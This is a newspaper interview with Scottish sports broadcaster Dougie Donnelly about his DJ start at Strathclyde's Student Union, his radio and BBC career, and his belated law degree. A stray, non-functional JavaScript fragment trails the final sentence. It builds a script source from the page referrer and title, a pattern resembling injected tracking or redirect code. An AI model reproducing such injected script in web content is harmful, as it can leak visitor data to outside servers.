The Big Interview with Dougie Donnelly

THROUGHOUT his 36-year broadcast career, Dougie Donnelly has won countless awards for his work and covered some of the biggest sporting events on the planet – such as the World Cup and the Olympics.

But in an EXCLUSIVE interview with the Telegraph, the twice-voted Scottish Radio Personality of the Year admits he owes his successful career to the University of Strathclyde.

“I really enjoyed my time at the university and my whole career would not have happened without Strathclyde,” claimed the 58-year-old.

During his second-year of studying Law at Strathclyde, Donnelly became involved with the Student Union and joined the Entertainments Committee.

It was at this point when the award-winning television and radio presenter took his first-step into his future profession, albeit with the help of sheer chance.

“I was responsible for booking bands for nights at the Union and I was very lucky because at the time, a lot of the big-name rock and pop stars were still doing live gigs at universities.

“We were lucky to have a big assembly hall, which we could pack around 1000 people in and that meant we were able to book some really big bands.

“However, one night the DJ we had booked didn’t turn up, and with a 1000 students in the crowd, we had to do something. My friends said because I the one who organised it, I should take his place.”

And since then Donnelly has never looked back.

“I enjoyed it because I made a life-changing discovery,” laughed the presenter.

“I found that when you’re the DJ, women come and speak to you and you don’t need to speak to them, so I thought, I quite fancy this!”

Although, Donnelly is best-known for his time spent presenting some of the world’s biggest sporting events, in his earlier career, he admits he was more interested in the music side of the industry and for a while, he thought that’s where his career would head.

“For a while I thought it was music that I would always want to get into and in 1973, Radio Clyde had just launched and were looking for DJ’s,” said the Law graduate.

“I sent in a demo tape to a guy called Andy Park, who has ended up being a mentor to me, and thankfully he must have heard something he liked because he got back to me and told me to make some changes before I sent in another tape.

“So, I sent in another tape and he got back to me again and said, I still had to make some more changes. Andy could have easily binned my tape along with the rest but by the third tape, thankfully he liked something he heard and gave me a chance.

“I presented a show called, ‘Through the Night’, which was on a Saturday night at 2am to 6am the next morning, so, I could mistakes without a lot of people listening!

“That’s how I got started in broadcasting and I owe it all to Strathclyde and a DJ not showing up to the Union one night.”

The Hamilton Academy pupil admits he perhaps enjoyed his time at Strathclyde a little too much, which in turn might have resulted in him not finishing his Law degree without the help of a certain Student Principal many years later.

“I never actually completed my Law degree. I only had 12/13 of my degree because I had failed one class,” confessed the former Sportscene presenter.

“Seventeen years later, Principal Sir Graham Hill, phoned me up to tell me that he was retiring the next year and that he thought it was a disgrace that I was going around without a degree.

“Sir Graham said he would bend the rules for me to graduate, if I came back and passed the one class I failed.

“So, with the help of the lecturer, I graduated that summer with a group of 21-year-olds and I can now proudly say I have graduated with a LLB.”

Although, Donnelly puts his start into the music industry down to luck, he also believes he was just as fortunate to get involved in the sporting side of it too.

Donnelly claimed: “Getting into the sports side of things was another lucky accident.

“I was working full-time for Clyde around 1976 but at the same time, I had always done after-dinner speaking and during one, I got speaking to a BBC sports producer from London.

“I auditioned for him and got a job. My BBC Sport television debut was doing a match report for Dundee versus Airdrie in March 1978 before I was lucky to move on to presenting shows.”

But the presenter has come a long way since then and has gone on to cover some of the biggest sporting events featuring our country.

Over his career, Donnelly has covered many memorable sporting moments including Scotland’s Rugby Grand Slam win over England in 1990, commentated on the British Women’s team winning Gold for Curling at the 2002 Olympics and has interviewed a fellow Scot, Paul Lawrie, after he won the Claret Jug at the 1999 Open in Carnoustie.

But one event that will stick out in the memory of Donnelly took place in 1998.

Donelly said: “Sometimes I need to pinch myself to think how lucky I am to be paid covering sports around the world.

“In 1998, I was presenting a show covering the opening match of the World Cup, Scotland versus Brazil, live from the Stade de France in Paris and I knew it was going to be special.

“I don’t usually get nervous but I remember standing in the gantry, minutes before we went live and I thought to myself, a huge audience will be watching this back home, today would not be a good day to mess up my lines!”

The self-confessed sports fanatic admits it pains him to see our national football team unable to qualify for major tournaments in recent years and believes changes are needed.

Disappointed Donnelly added: “We are a small country with a poor climate but I think it’s a shame that all governments have not invested better in sports facilities and this is a reason why we struggle.

“We should have top class indoor facilities in every town and city and if we did we would reap huge social and health benefits from it.”

While Donnelly left the BBC this summer after 32years, he looks forward to the future, presenting a European Tour Golf channel for countries around the world and he is keen to pass on his advice to current Strathclyde students.

“University can be life-changing and students should grab every opportunity they can,” urged Donnelly.

“Of course, it is about getting a degree but you need to enjoy yourself as well. Strathclyde has so many facilities to offer and if students get involved, they will enjoy the benefits of the full university experience.”

With those words of wisdom and a successful career that Donnelly puts down to his time at Strathclyde, it looks like the one-time DJ won’t be spinning his last record for a few years to come.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;